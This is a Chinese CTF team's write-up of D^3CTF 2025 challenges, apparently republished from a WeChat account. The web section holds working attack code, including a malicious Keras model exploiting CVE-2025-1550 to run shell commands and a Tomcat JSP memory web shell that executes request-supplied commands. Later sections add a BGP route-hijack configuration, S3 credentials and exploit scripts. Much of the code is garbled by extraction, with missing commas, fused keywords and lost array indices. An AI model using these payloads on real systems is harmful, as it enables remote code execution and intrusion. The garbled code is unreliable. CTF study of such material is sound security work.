D^3CTF 2025 writeup by Mini-Venom

admin 2025年6月2日08:13:33评论9 views字数 18241阅读60分48秒阅读模式

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)  

Web

d3invitation

文件上传可以找到ak sk token

D^3CTF 2025 writeup by Mini-Venom

STS流程:

D^3CTF 2025 writeup by Mini-Venom

aws s3

D^3CTF 2025 writeup by Mini-Venom
D^3CTF 2025 writeup by Mini-Venom

构造读取所有内容的sts

aws --profile minio --endpoint-url http://35.241.98.126:30744 s3 cp "s3://d3invitation/flag" /tmp

得找flag名称,估计得爆破了。。。

aws连接方式

vim ~/.aws/credentials
[minio]
aws_access_key_id = GRO1TWRV8FSZV5OCCVFE
aws_secret_access_key = ATk+SFgUfZUT6cUzYdAA4qciMSJK9neo0s0hA02Q
aws_session_token = eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJHUk8xVFdSVjhGU1pWNU9DQ1ZGRSIsImV4cCI6MTc0ODY4NTk2NSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZWMTkifQ.TlzvIuG_zgOGWUgZdhRS92Gloisjt_hezNMd6vz8IJz-4NwcxkwdkrtA6CsX2wNVwVllVr_8oHr8j83COk5Nmg

考虑到object_name可控,怀疑存在注入,解jwt看了下还真对的上。

D^3CTF 2025 writeup by Mini-Venom

盲打flag bucket的flag。

D^3CTF 2025 writeup by Mini-Venom

tidy quic

buf缓存复用,用完缓存后没有清除而是放进了公共池,然后是根据请求长度来获取缓存

D^3CTF 2025 writeup by Mini-Venom

可以通过设置 Content-Length 来填充上次请求的buf缓存内容,然后检测waf是检测的请求内容,获取flag是看的buf,从而进行绕过

curl -k --http3 -X POST https://35.241.98.126:31390 --data "I want flag"
curl -k --http3 -X POST https://35.241.98.126:31390 --data "I want" -H "Content-Length: 11"
D^3CTF 2025 writeup by Mini-Venom
D^3CTF 2025 writeup by Mini-Venom

d3model

CVE-2025-1550

https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
import os

model_name = "model.keras"

x_train = np.random.rand(10028 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r"as f:
    config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
    "name""mvlttt",
    "layers": [
        {
            "name""mvlttt",
            "class_name""function",
            "config""Popen",
            "module""subprocess",
            "inbound_nodes": [{"args": [["/bin/sh","-c""env > static/1.txt"]], "kwargs": {"bufsize"-1}}]
        }],
    "input_layers": [["mvlttt"00]],
    "output_layers": [["mvlttt"00]]
}

with zipfile.ZipFile(model_name, 'r'as zip_read:
    with zipfile.ZipFile(f"tmp.{model_name}"'w'as zip_write:
        for item in zip_read.infolist():
            if item.filename != "config.json":
                zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a"as zf:
    zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")
D^3CTF 2025 writeup by Mini-Venom

jtar

注意BackUp#tarDirectory

out.putNextEntry(new TarEntry(entry.toFile(), relativeName));

new TarEntry的流程主要在tarHeader#createHeader函数中,这里没什么问题。

D^3CTF 2025 writeup by Mini-Venom

putNextEntry注意TarHeader.getNameBytes

(byte)name.charAt(i); 进行强转byte,那么构造低位是0x70的字符,即可凑出P。

D^3CTF 2025 writeup by Mini-Venom
# 找出所有 Unicode 码点中低 8 位为 0x70 的字符
target_byte_value = 0x70  # 对应 ASCII 字符 'p'

matching_chars = []
for code_point in range(0x10000):
    if (code_point & 0xFF) == target_byte_value:
        try:
            char = chr(code_point)
            # 打印字符及其 Unicode 编码(十六进制)
            matching_chars.append((char, hex(code_point)))
        except Exception:
            continue
for char, code_hex in matching_chars:
    print(f"字符: {char} | Unicode: {code_hex}")

还是有很多的,随便选一个,通过tar-->untar构造出jsp:

D^3CTF 2025 writeup by Mini-Venom

注入内存马:

tomcat servlet
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>


<%
    class GreetServlet implements Servlet{
        @Override
        public void init(ServletConfig config) throws ServletException {}

        @Override
        public String getServletInfo() {returnnull;}

        @Override
        public void destroy() {}    public ServletConfig getServletConfig() {returnnull;}

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
            HttpServletResponse lresponse = (HttpServletResponse) servletResponse;
            if (lrequest.getParameter("chan") != null){
                Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + 'n');
                }
                lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
                lresponse.getOutputStream().flush();
                lresponse.getOutputStream().close();
                return;
            }
            else{
                lresponse.sendError(HttpServletResponse.SC_NOT_FOUND);
            }
        }
    }
%>


<%
    ServletContext servletContext =  request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    GreetServlet greetServlet = new GreetServlet();

    org.apache.catalina.Wrapper greetWrapper = standardContext.createWrapper();
    greetWrapper.setName("p");
    greetWrapper.setLoadOnStartup(1);
    greetWrapper.setServlet(greetServlet);
    greetWrapper.setServletClass(greetServlet.getClass().getName());

    standardContext.addChild(greetWrapper);
    standardContext.addServletMappingDecoded("/p""p"false);
    out.println(">@<");
%>

访问得到flag:

D^3CTF 2025 writeup by Mini-Venom

Reverse

d3rpg-revenge

是一个游戏,并且随着在游戏中的对话,会改变程序的内存(不可恢复,除非删了重来)。然后玩了下,发现走到二楼和NPC直接对话,会问你是reverse手,misc手还是musc手,选reverse手就会直接让你输入flag,然后回车,显示checking...,再回车,就会有回显,由于附件中有exe和不少dll,并且还有一个自定义的文件,.d3ssad文件。分析结果是:脱壳后的secret_dll.dll中的check_flag函数中的字符串就是密文

D^3CTF 2025 writeup by Mini-Venom
D^3CTF 2025 writeup by Mini-Venom

然后加密逻辑在d3rpg.dll文件中进行载入,载入的内容应该是d3rpg.d3ssad文件进行解包的结果。那么我们可以推测当程序运行的时候,check flag的时候,肯定会将自定义的文件进行解密,加载到内存中,然后调用其中逻辑,进行check。既然如此,我们就可以用ce,重开游戏,直接走到二楼,和NPC对话,直接输入flag,然后回车,让程序就断在checking...这里,然后用ce去内存中找,找到加密逻辑

D^3CTF 2025 writeup by Mini-Venom

复制下来,丢到cyberchef里转一下十六进制

module Scene_RPG
  class Secret_Class
    DELTA = 0x1919810 | (($de1ta + 1) * 0xf0000000)
    definitialize(new_key)
      @key = str_to_longs(new_key)
      if @key.length < 4
        @key.length.upto(4) { |i| @key[i] = 0 }
      end
    end
    defself.str_to_longs(s, include_count = false)
      s = s.dup
      length = s.length
      ((4 - s.length % 4) & 3).times { s << "" }
      unpacked = s.unpack('V*').collect { |nint32n }
      unpacked << lengthifinclude_count
      unpacked
    end
    defstr_to_longs(s, include_count = false)
      self.class.str_to_longssinclude_count
    end
    defself.longs_to_str(l, count_included = false)
      s = l.pack('V*')
      s = s[0...(l[-1])ifcount_included
      s
    end
    deflongs_to_str(l, count_included = false)
      self.class.longs_to_strlcount_included
    end
    defself.int32(n)
      n -= 4_294_967_296while(n >= 2_147_483_648)
      n += 4_294_967_296while(n <= -2_147_483_648)
      n.to_i
    end
    defint32(n)
      self.class.int32n
    end

    defmx(z, y, sum, p, e)
      int32(
        ((z >> 5 & 0x07FFFFFF) ^ (y << 2)) +
        ((y >> 3 & 0x1FFFFFFF) ^ (z << 4))
      )
 ^ int32((sum ^ y) + (@key[(p & 3) ^ e] ^ z))
    end
    defself.encrypt(key, plaintext)
      self.new(key).encrypt(plaintext)
    end
    defencrypt(plaintext)
      return '' ifplaintext.length == 0
      v = str_to_longs(plaintext, true)
      v[1] = 0 ifv.length == 1
      n = v.length - 1
      z = v[n]
      y = v[0]
      q = (6 + 52 / (n + 1)).floor
      sum = $de1ta * DELTA
      p = 0
      while(0 <= (q -= 1))do
        sum = int32(sum + DELTA)
        e = sum >> 2 & 3
        n.timesdo |i|
          y = v[i + 1];
          z = v[i] = int32(v[i] + mx(z, y, sum, i, e))
          p = i
        end
        p += 1
        y = v[0];
        z = v[p] = int32(v

+ mx(z, y, sum, p, e))
      end
      longs_to_str(v).unpack('a*').pack('m').delete("n")
    end
    defself.decrypt(key, ciphertext)
      self.new(key).decrypt(ciphertext)
    end
end
end

defvalidate_flag(input_flag)
c_flag = input_flag + ""
result = $check_flag.call(c_flag)
result == 1
end


defcheck
flag = $game_party.actors[0].name
key = Scene_RPG::Secret_Class.new('rpgmakerxp_D3CTF')
  cyphertext = key.encrypt(flag)
  if validate_flag(cyphertext)
    $game_variables[1] = 100
  else
    $game_variables[1] = 0
  end
end

def check1
  flag = $game_party.actors[0].name
  if flag == "ImPsw"
    $game_variables[2] = 100
  else
    $game_variables[2] = 0
  end
end

密钥也有了,delta的值,是

0x1919810 | ((0 + 1) * 0xf0000000))

$delta的值是0,那么就可以写脚本解密了

from ctypes import *
import libnum


def MX(z, y, sum1, k, p, e):
    return c_uint32(((z.value >> 5 ^ y.value << 2) + (y.value >> 3 ^ z.value << 4)) ^ (
            (sum1.value ^ y.value) + (k[(p & 3) ^ e.value] ^ z.value)))


def btea(v, k, n, delta):
    if n > 1:
        sum1 = c_uint32(0)
        z = c_uint32(v[n - 1])
        rounds = 6 + 52 // n
        e = c_uint32(0)

        while rounds > 0:
            sum1.value += delta
            e.value = ((sum1.value >> 2) & 3)
            for p in range(n - 1):
                y = c_uint32(v

)
                v

= c_uint32(v

+ MX(z, y, sum1, k, p, e).value).value
                z.value = v



            y = c_uint32(v[0])
            v[n - 1] = c_uint32(v[n - 1] + MX(z, y, sum1, k, n - 1, e).value).value
            z.value = v[n - 1]
            rounds -= 1
    else:
        sum1 = c_uint32(0)
        n = -n
        rounds = 6 + 52 // n
        sum1.value = rounds * delta
        y = c_uint32(v[0])
        e = c_uint32(0)

        while rounds > 0:
            e.value = ((sum1.value >> 2) & 3)
            for p in range(n - 10-1):
                z = c_uint32(v

)
                v

= c_uint32(v

- MX(z, y, sum1, k, p, e).value).value
                y.value = v



            z = c_uint32(v[n - 1])
            v[0] = c_uint32(v[0] - MX(z, y, sum1, k, 0, e).value).value
            y.value = v[0]
            sum1.value -= delta
            rounds -= 1

    return v


if __name__ == '__main__':
    a = [0x2e0x150x6f0x7d0xea0x720xc00x520x2c0x1d,
         0xbf0x060xf20x430x5d0xbb0x8f0x490xde0x4d]
    a = [int.from_bytes(a[i:i + 4], "little"for i in range(0, len(a), 4)]
    for i in range(4):
        print(hex(a[i]), end=", ")
    print()
    k = [0x720x700x670x6d0x610x6b0x650x720x780x70,
         0x5f0x440x330x430x540x46]
    k = [int.from_bytes(k[i:i + 4], "little"for i in range(0, len(k), 4)]

    for i in range(4):
        print(hex(k[i]), end=", ")
    print()

    n = len(a)
    delta = 0xf1919810
    res = btea(a, k, -n, delta)
    print(','.join(hex(x) for x in res))
    flag = ''
    for i in res:
        flag += (libnum.n2s(i)[::-1].decode())
    print(flag)

d3ctf{Y0u_R_RPG_M4st3r}

Misc

d3rpg-signin

跟蓝衣服白胡子老头对话能得到地下室的key

D^3CTF 2025 writeup by Mini-Venom

得到对话的提示

D^3CTF 2025 writeup by Mini-Venom
D^3CTF 2025 writeup by Mini-Venom
D^3CTF 2025 writeup by Mini-Venom

猜测有整数溢出漏洞 直接去地下室开始刷钱 得到flag

D^3CTF 2025 writeup by Mini-Venom
D^3CTF 2025 writeup by Mini-Venom

d3ctf{W3lc0m3_7o_d3_RpG_W0r1d}

d3image

GPT分析下,这是一个基于深度学习的隐写,使用了 D3net 模型进行编码。D3net 是一个由多个 INV_block 组成的模型,每个 INV_block 是一个可逆变换,编码流程如下:

  1. 输入处理:cover和消息载荷payload分别通过DWT转换为变换域,形状从 (B, 3, H, W) 变为 (B, 12, H/2, W/2)。 将两者拼接为(B, 24, H/2, W/2)
  2. D3net 处理:D3net 包含 8 个 INV_block,每个块对输入执行可逆变换,输出仍为 (B, 24, H/2, W/2)。 输出被分为两部分:前 12 个通道 y1 和后 12 个通道 y2。
  3. 生成隐写图像:只取前 12 个通道,通过IWT得到隐写图像,形状为 (B, 3, H, W)。

解码流程:

由于 D3net 是可逆的,我们可以通过逆向其变换来恢复输入 [dwt(cover), dwt(payload)],然后提取 dwt(payload),最后用 IWT 还原消息。关键步骤如下:

  1. 从隐写图像获取 y1:对隐写图像应用 DWT,得到 y1,因为隐写图像是 IWT(y1) 的结果。
  2. 处理 y2:编码时 y2 被丢弃,我们无法直接获取。设置 y2 = 0 可能是一个设计上的简化假设,能近似恢复载荷。
  3. 逆向 D3net:使用 y = [y1, y2] 作为输入,应用 D3net 的逆变换,得到 [x1, x2],其中 x2 近似于 dwt(payload)。
  4. 提取消息:对 x2 应用 IWT,再由 decode 函数阈值化处理提取消息。

把其中的your_decode_net和其他函数进行补充

import torch
from model import Model
from utils import DWT, IWT, make_payload, auxiliary_variable, bits_to_bytearray, bytearray_to_text
import torchvision
from collections import Counter
from PIL import Image
import torchvision.transforms as T
import torch.nn as nn

transform_test = T.Compose([
    T.CenterCrop((7201280)),
    T.ToTensor(),
])


def load(name):
    state_dicts = torch.load(name)
    network_state_dict = {k: v for k, v in state_dicts['net'].items() if'tmp_var'notin k}
    d3net.load_state_dict(network_state_dict)


def transform2tensor(img):
    img = Image.open(img)
    img = img.convert('RGB')
    return transform_test(img).unsqueeze(0).to(device)


def encode(cover, text):
    cover = transform2tensor(cover)
    B, C, H, W = cover.size()
    payload = make_payload(W, H, C, text, B)
    payload = payload.to(device)
    cover_input = dwt(cover)
    payload_input = dwt(payload)
    input_img = torch.cat([cover_input, payload_input], dim=1)

    output = d3net(input_img)

    output_steg = output.narrow(104 * 3)
    output_img = iwt(output_steg)
    torchvision.utils.save_image(output_img, f'./steg.png')


# 定义 INV_block 的逆变换
class INV_block_inverse(nn.Module):
    def __init__(self, inv_block):
        super(INV_block_inverse, self).__init__()
        self.inv_block = inv_block
        self.channels = inv_block.channels  # 3

    def forward(self, y):
        y1, y2 = y.narrow(10, self.channels * 4), y.narrow(1, self.channels * 4, self.channels * 4)
        s1 = self.inv_block.r(y1)
        t1 = self.inv_block.y(y1)
        x2 = (y2 - t1) / self.inv_block.e(s1)
        t2 = self.inv_block.f(x2)
        x1 = y1 - t2
        return torch.cat((x1, x2), 1)


# 定义 D3net 的逆变换
class D3net_inverse(nn.Module):
    def __init__(self, d3net):
        super(D3net_inverse, self).__init__()
        self.inverses = nn.ModuleList([INV_block_inverse(getattr(d3net, f'inv{i}')) for i in range(80-1)])

    def forward(self, y):
        out = y
        for inv in self.inverses:
            out = inv(out)
        return out


# 实现解码网络
def your_decode_net(steg):
    y1 = dwt(steg)
    y2 = torch.zeros_like(y1)  # 设置 y2 为零
    y = torch.cat((y1, y2), 1)
    x = d3net_inverse(y)
    x2 = x.narrow(11212)  # 提取后 12 个通道作为 dwt(payload)
    secret_rev = iwt(x2)
    return secret_rev


def decode(steg):
    steg = transform2tensor(steg)
    secret_rev = your_decode_net(steg)

    image = secret_rev.view(-1) > 0

    candidates = Counter()
    bits = image.data.int().cpu().numpy().tolist()
    for candidate in bits_to_bytearray(bits).split(b'x00x00x00x00'):
        candidate = bytearray_to_text(bytearray(candidate))
        if candidate:
            candidates[candidate] += 1
    if len(candidates) == 0:
        raise ValueError('Failed to find message.')
    candidate, count = candidates.most_common(1)[0]
    print(candidate)


if __name__ == '__main__':
    d3net = Model()
    load('magic.potions')
    d3net.eval()

    dwt = DWT()
    iwt = IWT()

    device = torch.device("cuda:0"if torch.cuda.is_available() else"cpu")
    d3net_inverse = D3net_inverse(d3net.model).to(device)  # 初始化逆网络

    # text = r'd3ctf{Getting that model to converge felt like pure sorcery}'
    # steg = r'./steg.png'
    # cover = './poster.png'
    # encode(cover, text)
    steg = './mysterious_invitation.png'
    decode(steg)
D^3CTF 2025 writeup by Mini-Venom

d3RPKI

给了一套BGP模拟环境,AI整理网络情况如下

网络拓扑:

  • t1:连接 nw0、nw1、nw2 和 subnet1,ASN 为 4211110001,运行 RPKI 服务器。
  • t2-1:连接 nw0 和 subnet2,ASN 为 4211110002,可通过 SSH(端口 2233)访问。
  • t2-2:连接 nw1 和 subnet3,ASN 为 4211110003,发送 FLAG 到 10.4.0.5:1234。
  • t2-3:连接 nw2 和 subnet4,ASN 为 4211110004,负责 10.4.0.0/24。

ROA 配置(t1-roa_stayrtr.json):

  • 10.1.0.0/16:ASN 4211110001,最大长度 32
  • 10.2.0.0/16:ASN 4211110002,最大长度 32
  • 10.3.0.0/16:ASN 4211110003,最大长度 32
  • 10.4.0.0/16:ASN 4211110004,最大长度 32

我们只能操作t2-1,所以需要在这进行伪造路由规则,让t1优先向我们这里转发10.4.0.5,但是t1配置了启用了 ROA(资源公钥基础设施起源验证),直接伪造路由会受到限制

所以我们主要思路如下:

  1. 宣布更具体的路由规则:在t2-1上宣布10.4.0.5/32的路由规则

  2. 操纵AS路径:设置Bird的过滤器,使起源 ASN 看起来是 4211110004

  3. 监听Flag:绑定 10.4.0.5 到t2-1的 lo 网卡上,然后监听即可

t2-1配置文件如下

t2-1
log syslog all;
debug protocols all;

router id 10.2.0.1;

ipv4 table BGP_table;

protocol device{

}

protocol kernel{
    scan time 10; 
    ipv4 {
        export all;
        import none;
    };
}

protocol static {
    ipv4 {
        table BGP_table;
        import all;
        export none;
    };

    route 10.2.0.0/24 reject;
    route 10.4.0.5/32 reject{
        bgp_path.prepend(4211110004);
        };
}

roa4 table r4;

protocol rpki {
        debug all;

        roa4 { table r4; };

        remote "10.0.0.1" port 8083;

        retry keep 5;
        refresh keep 30;
        expire 600;
}

template bgp BGP_peers {
    ipv4 {
        table BGP_table;
        import filter{
            if roa_check(r4, net, bgp_path.last) !~ [ROA_VALID] then {
                print "ROA checkfailedfor", net, " ASN ", bgp_path.last;
                reject;
            }
            accept;
        };
        export filter {
            if net = 10.4.0.5/32 then {
                     accept;
            }
            if source ~ [RTS_STATIC, RTS_BGP] then accept;
            reject;
        };
    };
}

protocol pipe {
    table master4;
    peer table BGP_table;
    import filter {
        if source = RTS_STATIC then reject;
        krt_prefsrc = 10.2.0.1;
        accept;
    };
    export none;
}

protocol bgp t1 from BGP_peers {
    local 10.0.0.2 as 4211110002;
    neighbor 10.0.0.1 as 4211110001;
}

然后重启服务,然后配置lo网卡的IP

ip addr add 10.4.0.5/32 dev lo

本地模拟时,在其他几个节点查看BGP路由规则是否配置成功,发现已经配置成功

D^3CTF 2025 writeup by Mini-Venom

nc监听即可得到结果

D^3CTF 2025 writeup by Mini-Venom

Crypto

d3fnv

构造正交格去求解

from pwn import *
from Crypto.Util.number import *
from tqdm import trange
import random

context.log_level = 'error'

conn = remote('35.241.98.126'30296)
conn.recvuntil(b'option >')
conn.sendline(b'G')
prime_mod = int(conn.recvline()[4:])

hash_values = []
for _ in trange(65):
    conn.recvuntil(b'option >')
    conn.sendline(b'H')
    hash_values.append(int(conn.recvline()[12:]))
hash_vector = matrix(hash_values)

dim_small = 32
dim_large = 65
rank = 1
modulus = prime_mod
hash_vector_T = hash_vector.T

concat_matrix_1 = block_matrix([
    [modulus * identity_matrix(rank), zero_matrix(rank, dim_large)],
    [hash_vector_T, identity_matrix(dim_large) * 2 ** 0]
])
lll_matrix_1 = concat_matrix_1.LLL()

reduced_matrix = Matrix(ZZ, [lll_matrix_1[i][rank:] for i in range(dim_small + 1)]) / 2 ** 0
scaled_matrix = block_matrix([[2 ** 40 * reduced_matrix.T, identity_matrix(dim_large)]])
lll_matrix_2 = scaled_matrix.LLL()

bkz_input = Matrix(ZZ, [lll_matrix_2[i][dim_small + 1:] for i in range(dim_small)])
bkz_reduced = bkz_input.BKZ(block_size=20)
target_basis = matrix(ZZ, [bkz_reduced[i] for i in range(dim_small)])

final_matrix = block_matrix([
    [target_basis, 0],
    [hash_vector_T, 1],
    [modulus * identity_matrix(dim_large), 0]
])
lll_result = final_matrix.LLL()

for row in lll_result[dim_small:dim_small * 2 + 2]:
    if abs(row.list()[-1]) == 1:
        recovered_vector = matrix((row * (row.list()[-1])).list()[:-1])
        basis_matrix = target_basis
        break

coefficient_matrix = basis_matrix.solve_left(matrix(GF(modulus), hash_vector - recovered_vector))
coefficient_list = coefficient_matrix.list()

conn.recvuntil(b'option >')
conn.sendline(b'F')
for coeff in coefficient_list:
    if (coeff ^ 29) % modulus in coefficient_list or -(coeff ^ 29) % modulus in coefficient_list:
        secret_key = coeff

conn.recvuntil(b'Here is a random token x: ')
token_str = conn.recvline()[:-1].decode()
print(token_str)

token_len = len(token_str)
hash_result = (ord(token_str[0]) << 7) % prime_mod
for ch in token_str:
    hash_result = int((secret_key * hash_result) % prime_mod) ^ ord(ch)
hash_result ^= token_len

conn.recvuntil(b'Could you tell the value of H4sh(x)? ')
conn.sendline(str(hash_result).encode())
for _ in range(2):
    print(conn.recvline())

结束


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]

D^3CTF 2025 writeup by Mini-Venom

原文始发于微信公众号(ChaMd5安全团队):D^3CTF 2025 writeup by Mini-Venom

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月2日08:13:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   D^3CTF 2025 writeup by Mini-Venomhttps://cn-sec.com/archives/4123728.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息